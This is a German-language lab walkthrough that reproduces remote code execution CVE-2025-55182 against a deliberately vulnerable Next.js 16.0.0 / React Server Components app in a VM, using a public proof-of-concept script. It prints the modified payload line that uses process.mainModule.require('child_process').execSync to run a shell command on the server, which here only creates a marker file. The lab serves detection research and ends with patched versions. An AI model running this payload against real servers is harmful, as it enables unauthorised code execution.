
Reproduzierbares Labor, das die Remote-Code-Ausführung CVE-2025-55182 gegen Next.js 16.0.0 mit React Server Components demonstriert, einschließlich externer Exploit-Ausführung und Nebenwirkungsüberprüfung.
Dieses Dokument bietet eine vollständige und reproduzierbare Einrichtung zur Demonstration der Remote Code Execution (RCE) von CVE-2025-55182 gegen eine anfällige Next.js + React Server Components Umgebung, die innerhalb einer Multipass Ubuntu VM läuft.
Der Exploit wird von außerhalb der VM ausgeführt, was die Remote-Ausnutzbarkeit beweist und die Umgebung für die Erkennung anomalen Verhaltens vorbereitet.
Source: https://github.com/ejpir/CVE-2025-55182-research
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs
Überprüfen:
node -v
npm -v
sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab
mkdir ~/react2shell-lab
cd ~/react2shell-lab
npx create-next-app@latest vulnerable-app
cd vulnerable-app
package.json festlegenAbhängigkeiten bearbeiten:
"dependencies": {
"next": "16.0.0",
"react": "19.1.0",
"react-dom": "19.1.0"
}
Pakete neu installieren:
rm -rf node_modules package-lock.json
npm install
Überprüfen:
npm list react react-dom next
Erwartet:
npm run build
npm start
Erwartete Ausgabe:
▲ Next.js 16.0.0
Local: http://localhost:3000
Network: http://10.X.X.X:3000

Auf einer anderen Maschine:
curl http://10.102.169.126:3000
Sie sollten die standardmäßige Next.js HTML-Seite erhalten.
cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research
Finden Sie:
hostname: 'localhost',
Ersetzen Sie mit:
hostname: '10.X.X.X',
Während Next noch läuft:
node test-simple.cjs
Erwartet im Next.js-Terminal:
NON-CHUNKED-RCE
Dies bestätigt Remote Code Execution über React Flight unter Verwendung der anfälligen Versionen.

Das Ziel ist es, beobachtbares Verhalten zu erzeugen (Dateisystem + Prozessausführung).
_prefix in test-simple.cjs bearbeitenFinden Sie:
"_prefix": "console.log('NON-CHUNKED-RCE');//"
Ersetzen Sie mit:
"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"
Hinweis: require ist im Ausführungskontext nicht verfügbar, aber process.mainModule.require() schon.
Stellen Sie sicher, dass Next läuft, dann:
node test-simple.cjs
Dateierstellung überprüfen:
ls -l /tmp/
Sie sollten sehen:
cve-2025-55182-syscall
Dies bestätigt funktionale RCE mit Seiteneffekten.

Patch:
React ≥ 19.2.1
Next.js ≥ 16.0.7